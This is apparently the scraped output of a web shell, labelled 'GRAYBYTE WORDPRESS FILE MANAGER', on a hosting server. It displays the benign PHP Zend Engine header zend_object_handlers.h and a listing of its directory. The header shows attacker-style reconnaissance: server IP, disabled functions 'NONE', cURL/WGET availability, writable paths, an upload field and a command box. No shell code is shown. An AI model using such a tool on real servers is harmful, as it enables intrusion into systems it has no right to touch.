GRAYBYTE WORDPRESS FILE MANAGER8585

Server IP : 198.54.121.189 / Your IP : 216.73.216.112
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /opt/cpanel/ea-php73/root/usr/include/php/Zend/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /opt/cpanel/ea-php73/root/usr/include/php/Zend//zend_object_handlers.h
/*
   +----------------------------------------------------------------------+
   | Zend Engine                                                          |
   +----------------------------------------------------------------------+
   | Copyright (c) 1998-2018 Zend Technologies Ltd. (http://www.zend.com) |
   +----------------------------------------------------------------------+
   | This source file is subject to version 2.00 of the Zend license,     |
   | that is bundled with this package in the file LICENSE, and is        |
   | available through the world-wide-web at the following url:           |
   | http://www.zend.com/license/2_00.txt.                                |
   | If you did not receive a copy of the Zend license and are unable to  |
   | obtain it through the world-wide-web, please send a note to          |
   | license@zend.com so we can mail you a copy immediately.              |
   +----------------------------------------------------------------------+
   | Authors: Andi Gutmans <andi@php.net>                                 |
   |          Zeev Suraski <zeev@php.net>                                 |
   +----------------------------------------------------------------------+
*/

#ifndef ZEND_OBJECT_HANDLERS_H
#define ZEND_OBJECT_HANDLERS_H

struct _zend_property_info;

#define ZEND_WRONG_PROPERTY_INFO \
	((struct _zend_property_info*)((intptr_t)-1))

#define ZEND_DYNAMIC_PROPERTY_OFFSET               ((uintptr_t)(intptr_t)(-1))

#define IS_VALID_PROPERTY_OFFSET(offset)           ((intptr_t)(offset) > 0)
#define IS_WRONG_PROPERTY_OFFSET(offset)           ((intptr_t)(offset) == 0)
#define IS_DYNAMIC_PROPERTY_OFFSET(offset)         ((intptr_t)(offset) < 0)

#define IS_UNKNOWN_DYNAMIC_PROPERTY_OFFSET(offset) (offset == ZEND_DYNAMIC_PROPERTY_OFFSET)
#define ZEND_DECODE_DYN_PROP_OFFSET(offset)        ((uintptr_t)(-(intptr_t)(offset) - 2))
#define ZEND_ENCODE_DYN_PROP_OFFSET(offset)        ((uintptr_t)(-((intptr_t)(offset) + 2)))


/* The following rule applies to read_property() and read_dimension() implementations:
   If you return a zval which is not otherwise referenced by the extension or the engine's
   symbol table, its reference count should be 0.
*/
/* Used to fetch property from the object, read-only */
typedef zval *(*zend_object_read_property_t)(zval *object, zval *member, int type, void **cache_slot, zval *rv);

/* Used to fetch dimension from the object, read-only */
typedef zval *(*zend_object_read_dimension_t)(zval *object, zval *offset, int type, zval *rv);


/* The following rule applies to write_property() and write_dimension() implementations:
   If you receive a value zval in write_property/write_dimension, you may only modify it if
   its reference count is 1.  Otherwise, you must create a copy of that zval before making
   any changes.  You should NOT modify the reference count of the value passed to you.
*/
/* Used to set property of the object */
typedef void (*zend_object_write_property_t)(zval *object, zval *member, zval *value, void **cache_slot);

/* Used to set dimension of the object */
typedef void (*zend_object_write_dimension_t)(zval *object, zval *offset, zval *value);


/* Used to create pointer to the property of the object, for future direct r/w access */
typedef zval *(*zend_object_get_property_ptr_ptr_t)(zval *object, zval *member, int type, void **cache_slot);

/* Used to set object value. Can be used to override assignments and scalar
   write ops (like ++, +=) on the object */
typedef void (*zend_object_set_t)(zval *object, zval *value);

/* Used to get object value. Can be used when converting object value to
 * one of the basic types and when using scalar ops (like ++, +=) on the object
 */
typedef zval* (*zend_object_get_t)(zval *object, zval *rv);

/* Used to check if a property of the object exists */
/* param has_set_exists:
 * 0 (has) whether property exists and is not NULL
 * 1 (set) whether property exists and is true
 * 2 (exists) whether property exists
 */
typedef int (*zend_object_has_property_t)(zval *object, zval *member, int has_set_exists, void **cache_slot);

/* Used to check if a dimension of the object exists */
typedef int (*zend_object_has_dimension_t)(zval *object, zval *member, int check_empty);

/* Used to remove a property of the object */
typedef void (*zend_object_unset_property_t)(zval *object, zval *member, void **cache_slot);

/* Used to remove a dimension of the object */
typedef void (*zend_object_unset_dimension_t)(zval *object, zval *offset);

/* Used to get hash of the properties of the object, as hash of zval's */
typedef HashTable *(*zend_object_get_properties_t)(zval *object);

typedef HashTable *(*zend_object_get_debug_info_t)(zval *object, int *is_temp);

/* Used to call methods */
/* args on stack! */
/* Andi - EX(fbc) (function being called) needs to be initialized already in the INIT fcall opcode so that the parameters can be parsed the right way. We need to add another callback for this.
 */
typedef int (*zend_object_call_method_t)(zend_string *method, zend_object *object, INTERNAL_FUNCTION_PARAMETERS);
typedef zend_function *(*zend_object_get_method_t)(zend_object **object, zend_string *method, const zval *key);
typedef zend_function *(*zend_object_get_constructor_t)(zend_object *object);

/* Object maintenance/destruction */
typedef void (*zend_object_dtor_obj_t)(zend_object *object);
typedef void (*zend_object_free_obj_t)(zend_object *object);
typedef zend_object* (*zend_object_clone_obj_t)(zval *object);

/* Get class name for display in var_dump and other debugging functions.
 * Must be defined and must return a non-NULL value. */
typedef zend_string *(*zend_object_get_class_name_t)(const zend_object *object);

typedef int (*zend_object_compare_t)(zval *object1, zval *object2);
typedef int (*zend_object_compare_zvals_t)(zval *resul, zval *op1, zval *op2);

/* Cast an object to some other type.
 * readobj and retval must point to distinct zvals.
 */
typedef int (*zend_object_cast_t)(zval *readobj, zval *retval, int type);

/* updates *count to hold the number of elements present and returns SUCCESS.
 * Returns FAILURE if the object does not have any sense of overloaded dimensions */
typedef int (*zend_object_count_elements_t)(zval *object, zend_long *count);

typedef int (*zend_object_get_closure_t)(zval *obj, zend_class_entry **ce_ptr, zend_function **fptr_ptr, zend_object **obj_ptr);

typedef HashTable *(*zend_object_get_gc_t)(zval *object, zval **table, int *n);

typedef int (*zend_object_do_operation_t)(zend_uchar opcode, zval *result, zval *op1, zval *op2);

struct _zend_object_handlers {
	/* offset of real object header (usually zero) */
	int										offset;
	/* general object functions */
	zend_object_free_obj_t					free_obj;
	zend_object_dtor_obj_t					dtor_obj;
	zend_object_clone_obj_t					clone_obj;
	/* individual object functions */
	zend_object_read_property_t				read_property;
	zend_object_write_property_t			write_property;
	zend_object_read_dimension_t			read_dimension;
	zend_object_write_dimension_t			write_dimension;
	zend_object_get_property_ptr_ptr_t		get_property_ptr_ptr;
	zend_object_get_t						get;
	zend_object_set_t						set;
	zend_object_has_property_t				has_property;
	zend_object_unset_property_t			unset_property;
	zend_object_has_dimension_t				has_dimension;
	zend_object_unset_dimension_t			unset_dimension;
	zend_object_get_properties_t			get_properties;
	zend_object_get_method_t				get_method;
	zend_object_call_method_t				call_method;
	zend_object_get_constructor_t			get_constructor;
	zend_object_get_class_name_t			get_class_name;
	zend_object_compare_t					compare_objects;
	zend_object_cast_t						cast_object;
	zend_object_count_elements_t			count_elements;
	zend_object_get_debug_info_t			get_debug_info;
	zend_object_get_closure_t				get_closure;
	zend_object_get_gc_t					get_gc;
	zend_object_do_operation_t				do_operation;
	zend_object_compare_zvals_t				compare;
};

BEGIN_EXTERN_C()
extern const ZEND_API zend_object_handlers std_object_handlers;

#define zend_get_std_object_handlers() \
	(&std_object_handlers)

#define zend_get_function_root_class(fbc) \
	((fbc)->common.prototype ? (fbc)->common.prototype->common.scope : (fbc)->common.scope)

#define ZEND_PROPERTY_ISSET     0x0          /* Property exists and is not NULL */
#define ZEND_PROPERTY_NOT_EMPTY ZEND_ISEMPTY /* Property is not empty */
#define ZEND_PROPERTY_EXISTS    0x2          /* Property exists */

ZEND_API void zend_class_init_statics(zend_class_entry *ce);
ZEND_API zend_function *zend_std_get_static_method(zend_class_entry *ce, zend_string *function_name_strval, const zval *key);
ZEND_API zval *zend_std_get_static_property(zend_class_entry *ce, zend_string *property_name, zend_bool silent);
ZEND_API ZEND_COLD zend_bool zend_std_unset_static_property(zend_class_entry *ce, zend_string *property_name);
ZEND_API zend_function *zend_std_get_constructor(zend_object *object);
ZEND_API struct _zend_property_info *zend_get_property_info(zend_class_entry *ce, zend_string *member, int silent);
ZEND_API HashTable *zend_std_get_properties(zval *object);
ZEND_API HashTable *zend_std_get_gc(zval *object, zval **table, int *n);
ZEND_API HashTable *zend_std_get_debug_info(zval *object, int *is_temp);
ZEND_API int zend_std_cast_object_tostring(zval *readobj, zval *writeobj, int type);
ZEND_API zval *zend_std_get_property_ptr_ptr(zval *object, zval *member, int type, void **cache_slot);
ZEND_API zval *zend_std_read_property(zval *object, zval *member, int type, void **cache_slot, zval *rv);
ZEND_API void zend_std_write_property(zval *object, zval *member, zval *value, void **cache_slot);
ZEND_API int zend_std_has_property(zval *object, zval *member, int has_set_exists, void **cache_slot);
ZEND_API void zend_std_unset_property(zval *object, zval *member, void **cache_slot);
ZEND_API zval *zend_std_read_dimension(zval *object, zval *offset, int type, zval *rv);
ZEND_API void zend_std_write_dimension(zval *object, zval *offset, zval *value);
ZEND_API int zend_std_has_dimension(zval *object, zval *offset, int check_empty);
ZEND_API void zend_std_unset_dimension(zval *object, zval *offset);
ZEND_API zend_function *zend_std_get_method(zend_object **obj_ptr, zend_string *method_name, const zval *key);
ZEND_API zend_string *zend_std_get_class_name(const zend_object *zobj);
ZEND_API int zend_std_compare_objects(zval *o1, zval *o2);
ZEND_API int zend_std_get_closure(zval *obj, zend_class_entry **ce_ptr, zend_function **fptr_ptr, zend_object **obj_ptr);
ZEND_API void rebuild_object_properties(zend_object *zobj);

ZEND_API int zend_check_private(zend_function *fbc, zend_class_entry *ce, zend_string *function_name);

ZEND_API int zend_check_protected(zend_class_entry *ce, zend_class_entry *scope);

ZEND_API int zend_check_property_access(zend_object *zobj, zend_string *prop_info_name);

ZEND_API zend_function *zend_get_call_trampoline_func(zend_class_entry *ce, zend_string *method_name, int is_static);

ZEND_API uint32_t *zend_get_property_guard(zend_object *zobj, zend_string *member);

#define zend_free_trampoline(func) do { \
		if ((func) == &EG(trampoline)) { \
			EG(trampoline).common.function_name = NULL; \
		} else { \
			efree(func); \
		} \
	} while (0)

END_EXTERN_C()

#endif

/*
 * Local variables:
 * tab-width: 4
 * c-basic-offset: 4
 * indent-tabs-mode: t
 * End:
 * vim600: sw=4 ts=4 fdm=marker
 * vim<600: sw=4 ts=4
 */

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
May 27 2025 15:40:01
root / root
0755
zend.h
13.031 KB
May 27 2025 15:40:23
root / root
0644
zend_API.h
58.285 KB
May 27 2025 15:40:23
root / root
0644
zend_alloc.h
18.832 KB
May 27 2025 15:40:23
root / root
0644
zend_alloc_sizes.h
2.714 KB
May 27 2025 15:40:23
root / root
0644
zend_arena.h
3.914 KB
May 27 2025 15:40:23
root / root
0644
zend_ast.h
11.248 KB
May 27 2025 15:40:23
root / root
0644
zend_bitset.h
6.862 KB
May 27 2025 15:40:23
root / root
0644
zend_build.h
1.734 KB
May 27 2025 15:40:23
root / root
0644
zend_builtin_functions.h
1.616 KB
May 27 2025 15:40:23
root / root
0644
zend_closures.h
2.304 KB
May 27 2025 15:40:23
root / root
0644
zend_compile.h
39.594 KB
May 27 2025 15:40:23
root / root
0644
zend_config.h
0.104 KB
May 27 2025 15:40:24
root / root
0644
zend_config.nw.h
2.482 KB
May 27 2025 15:40:23
root / root
0644
zend_constants.h
6.301 KB
May 27 2025 15:40:23
root / root
0644
zend_cpuinfo.h
7.086 KB
May 27 2025 15:40:23
root / root
0644
zend_dtrace.h
2.038 KB
May 27 2025 15:40:23
root / root
0644
zend_errors.h
2.148 KB
May 27 2025 15:40:23
root / root
0644
zend_exceptions.h
3.909 KB
May 27 2025 15:40:23
root / root
0644
zend_execute.h
15.165 KB
May 27 2025 15:40:23
root / root
0644
zend_extensions.h
5.968 KB
May 27 2025 15:40:23
root / root
0644
zend_float.h
15.322 KB
May 27 2025 15:40:23
root / root
0644
zend_gc.h
2.883 KB
May 27 2025 15:40:23
root / root
0644
zend_generators.h
7.323 KB
May 27 2025 15:40:23
root / root
0644
zend_globals.h
7.414 KB
May 27 2025 15:40:23
root / root
0644
zend_globals_macros.h
2.751 KB
May 27 2025 15:40:23
root / root
0644
zend_hash.h
34.627 KB
May 27 2025 15:40:23
root / root
0644
zend_highlight.h
2.361 KB
May 27 2025 15:40:23
root / root
0644
zend_inheritance.h
1.961 KB
May 27 2025 15:40:23
root / root
0644
zend_ini.h
9.729 KB
May 27 2025 15:40:23
root / root
0644
zend_ini_parser.h
2.688 KB
May 27 2025 15:40:24
root / root
0644
zend_ini_scanner.h
1.976 KB
May 27 2025 15:40:24
root / root
0644
zend_ini_scanner_defs.h
0.22 KB
May 27 2025 15:40:23
root / root
0644
zend_interfaces.h
4.313 KB
May 27 2025 15:40:23
root / root
0644
zend_istdiostream.h
1.647 KB
May 27 2025 15:40:23
root / root
0644
zend_iterators.h
3.512 KB
May 27 2025 15:40:23
root / root
0644
zend_language_parser.h
7.957 KB
May 27 2025 15:40:24
root / root
0644
zend_language_scanner.h
2.814 KB
May 27 2025 15:40:24
root / root
0644
zend_language_scanner_defs.h
0.245 KB
May 27 2025 15:40:23
root / root
0644
zend_list.h
3.498 KB
May 27 2025 15:40:23
root / root
0644
zend_llist.h
3.848 KB
May 27 2025 15:40:23
root / root
0644
zend_long.h
4.344 KB
May 27 2025 15:40:23
root / root
0644
zend_modules.h
4.824 KB
May 27 2025 15:40:23
root / root
0644
zend_multibyte.h
4.872 KB
May 27 2025 15:40:23
root / root
0644
zend_multiply.h
9.753 KB
May 27 2025 15:40:23
root / root
0644
zend_object_handlers.h
11.158 KB
May 27 2025 15:40:24
root / root
0644
zend_objects.h
1.911 KB
May 27 2025 15:40:24
root / root
0644
zend_objects_API.h
4.184 KB
May 27 2025 15:40:24
root / root
0644
zend_operators.h
30.695 KB
May 27 2025 15:40:24
root / root
0644
zend_portability.h
18.786 KB
May 27 2025 15:40:24
root / root
0644
zend_ptr_stack.h
4.352 KB
May 27 2025 15:40:24
root / root
0644
zend_range_check.h
3.076 KB
May 27 2025 15:40:24
root / root
0644
zend_signal.h
4.043 KB
May 27 2025 15:40:24
root / root
0644
zend_smart_str.h
5.547 KB
May 27 2025 15:40:24
root / root
0644
zend_smart_str_public.h
1.396 KB
May 27 2025 15:40:24
root / root
0644
zend_smart_string.h
4.433 KB
May 27 2025 15:40:24
root / root
0644
zend_smart_string_public.h
1.506 KB
May 27 2025 15:40:24
root / root
0644
zend_sort.h
1.744 KB
May 27 2025 15:40:24
root / root
0644
zend_stack.h
2.451 KB
May 27 2025 15:40:24
root / root
0644
zend_stream.h
3.365 KB
May 27 2025 15:40:24
root / root
0644
zend_string.h
15.964 KB
May 27 2025 15:40:24
root / root
0644
zend_strtod.h
1.957 KB
May 27 2025 15:40:24
root / root
0644
zend_strtod_int.h
3.563 KB
May 27 2025 15:40:24
root / root
0644
zend_ts_hash.h
5.624 KB
May 27 2025 15:40:24
root / root
0644
zend_type_info.h
3.165 KB
May 27 2025 15:40:24
root / root
0644
zend_types.h
37.488 KB
May 27 2025 15:40:24
root / root
0644
zend_variables.h
3.36 KB
May 27 2025 15:40:24
root / root
0644
zend_virtual_cwd.h
12.141 KB
May 27 2025 15:40:24
root / root
0644
zend_vm.h
2.053 KB
May 27 2025 15:40:24
root / root
0644
zend_vm_def.h
251.982 KB
May 27 2025 15:40:24
root / root
0644
zend_vm_execute.h
2.1 MB
May 27 2025 15:40:24
root / root
0644
zend_vm_handlers.h
97.632 KB
May 27 2025 15:40:24
root / root
0644
zend_vm_opcodes.h
12.858 KB
May 27 2025 15:40:24
root / root
0644
zend_vm_trace_handlers.h
3.137 KB
May 27 2025 15:40:24
root / root
0644
zend_vm_trace_map.h
2.592 KB
May 27 2025 15:40:24
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF